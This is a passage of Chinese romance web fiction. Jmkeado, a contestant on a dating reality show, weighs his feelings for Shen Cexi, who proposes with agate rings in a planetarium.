那自己喜欢他吗?Jmkeado大脑“轰”得停止思考,感觉自己的大脑里有小坏狐狸和大坏狐狸在打架。 小坏狐狸舔舔嘴唇说:“你就是喜欢他呀Jmkeado,沈策熙看着是个情事丰富的sugar daddy,但你也清楚吧,即墨颐玦,你也知道吧!照他平时那个样子,能有人谈恋爱那才叫见鬼了!你去翻翻他的人生阅历,他活到现在除了你还有和别人关系亲近到这个地步吗?而你呢,你除了他还和人搞到过那种程度吗?没有吧?而且,他身边有谁能够比你好看吗?有吗?” 大坏狐狸懒洋洋地摇摇头说:“不要想这么多有的没的呀Jmkeado,上个节目而已你竟然真打算谈恋爱吗?而且是和沈策熙啊,你们才认识多久!这种人谈出去不会觉得很恐怖吗?” 小坏狐狸眯眯眼睛:“那会很棒啊!沈策熙那张脸摆在那里,喜欢他或者被他喜欢多有面儿啊?你不选他还要选谁啊?更别提沈策熙那么好看还那么有钱,对你还特别好,和他在一起也完全可以啊!” 大坏狐狸摇摇尾巴:“谁知道呢啊,难不成被他搞了几次你还真就喜欢上他了?成年人身体关系都是不谈感情的,他说那么那么那么多遍喜欢你也没说要和你在一起啊!” 小坏狐狸不屑一顾:“没说就没说,都是成年人了非得追求仪式感吗?那他都说了就是喜欢,喜欢就是喜欢!而且喜欢上沈策熙怎么了?人之常情!就算都是男的也人之常情,真是的,谁还不会喜欢个人啊!” 大坏狐狸开始团团转了起来,小坏狐狸得意地又道:“而且你连没东西吃都要发给他向他撒娇,你不是最讨厌这种行为了吗?有人可以依赖的感觉很好吧,你很喜欢吧?对吧Jmkeado?你觉得呢,你说句话啊!你的大脑告诉了你什么?” “……也不是非要在一起吧。”Jmkeado不疾不徐地回。 每个恋综收官都有谁都不选的嘉宾,没有看上眼的那就是谁都不喜欢,也就没有必要选,毕竟最终选择是双向的,强行答应或是配对会产生一堆的麻烦事。 SomeE说你小子油盐不进呐,PD敲门送来了一块冰淇淋小蛋糕,一盘小饼干和一杯花茶,Jmkeado把小蛋糕吃完,又接话说他如果选我的话那也行啊。 “他选我我就选他,”Jmkeado慢吞吞道,“就这样简单。” SomeE不说话了,他无条件支持兄弟的决定。 他不说话,下周六选择了Jmkeado的沈策熙要说话了。 “就这样简单?”沈策熙微微笑起来。 他们正站在天文馆里,刚刚观赏完球幕里随机播放的影片,现在即将要去看星空图,依旧是只有他们两个人,在他说出即墨颐玦的名字后,Jmkeado说想和他再来一次。 影片是《恒星的一生》精编版,Jmkeado记得物理老师在自习课上放过,他去学校的次数不多,所以这个算是记忆犹新。 天文学中的一个非常壮丽和重要的主题。恒星从诞生到死亡,在引力和辐射压力之间寻求平衡,聚变、膨胀、老去,其命运主要由其初始质量决定,它会变成黑洞、中子星或者白矮星。 多数白矮星并非在宇宙中独自流浪,它们多以双星系统的形式存在。 Jmkeado转头看向沈策熙,想到那两颗白矮星在屏幕中静静等待的样子,它们相隔不远,互相绕行,在宇宙中继续冷却,经过漫长的时间,在未知的未来一起冷却到不再能被看见。 这有些浪漫。 所以就这样简单,Jmkeado点点头重复说,如果你选择我的话,那就是现在这样了。 他站在沈策熙面前,星空图就在右手侧进去的门内,不知道在等待什么,两个人就面对面地单纯站在这里。 没有摄影机也没有工作人员,哪怕已经和Jmkeado说过了很多遍喜欢,沈策熙笑了下,仍然很温柔地站在那里问了一句:那乖乖,你现在是在等我表白吗? Jmkeado没有摇头也没有点头,咬着没什么味道的文创雪糕看他,实在没有回答这句话的经验,他抿了抿唇。 “这很巧。”沈策熙继续说。 他之前选择的玛瑙戒指终于赶工完成,此刻正安安静静地躺在左胸前口袋的方形盒中,为此同时委托了两家工作室,最终选择了他觉得Jmkeado会更喜欢的那一版带来。 沈策熙拿出那套戒指,甚至为了下一步的牵手而摘下了手套,将戒指盒递向Jmkeado,红玛瑙暗红的光晕在视野内旋转——你要试一下吗? Jmkeado垂下眼帘,表情不像喜欢,也不像是不喜欢,反倒满脸写着“wow就知道你果然现在要给我这个”……好吧,沈策熙想,这算他的失策。 红绳还缠绕在他腕间,铃铛在走廊清脆地响了两声,沈策熙凝视着他,从眼角的那颗看起……第一眼就有点想亲。 “是一只手上的吗?”Jmkeado突然问。 沈策熙想了两秒:“如果你想这样戴的话,……” 话没说完,Jmkeado已经伸出了手。 整套戒指一共有五个,但他最后只拿走了无名指的那枚。 END魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m